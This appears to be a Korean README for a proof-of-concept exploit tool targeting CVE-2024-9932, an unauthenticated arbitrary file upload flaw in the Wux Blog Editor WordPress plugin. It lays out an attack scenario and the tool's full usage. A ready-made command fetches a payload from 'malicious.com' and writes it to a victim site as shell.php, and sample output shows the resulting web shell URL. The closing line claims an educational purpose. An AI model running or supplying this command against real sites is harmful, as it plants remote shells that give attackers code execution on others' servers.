
Wux Blog Editor WordPress 플러그인은 wuxbt_insertImageNew 함수의 파일 형식 검증 부족으로 인해 임의 파일 업로드에 취약합니다. 3.0.0 이하 버전이 영향을 받습니다. 이 취약점으로 인해 인증되지 않은 공격자가 서버에 임의의 파일을 업로드할 수 있으며, 잠재적으로 원격 코드 실행(RCE)으로 이어질 수 있습니다.
이 취약점은 wuxbt_insertImageNew 함수의 부적절한 파일 형식 검증에서 비롯됩니다. 이로 인해 공격자는 인증 없이 악성 파일을 서버에 업로드할 수 있습니다.
공격 시나리오:
공격자는 취약한 플러그인을 사용하는 웹사이트를 식별합니다.
파일 업로드 기능을 악용하여 악성 PHP 셸을 업로드합니다.
침해된 서버에서 명령을 실행합니다.
usage:CVE-2024-9932.py [-h] -u URL -ur REMOTE_URL [-n NAME]
Wux Blog Editor - Arbitrary File Upload
options:
-h, --help show this help message and exit
-u URL, --url URL Base URL of the WordPress server, e.g., http://192.168.100.74/wordpress
-ur REMOTE_URL, --remote-url REMOTE_URL
Remote file URL, e.g., http://192.168.100.54/shell.txt
-n NAME, --name NAME Desired file name, e.g., Nxploit.php
python CVE-2024-9932.py -u http://victim-site.com/wordpress -ur http://malicious.com/payload.txt -n shell.php
성공적인 업로드 예시
1- 파일 발견:
2- 실행 결과: 페이로드를 실행하려면 파일의 URL로 이동하십시오.
[+] File found: http://192.168.100.74/wordpress/wp-content/uploads/2025/01/shell.php
이 도구는 교육 목적으로만 제공됩니다. 권한 없이 시스템에서 이 스크립트를 무단 사용하는 것은 불법입니다.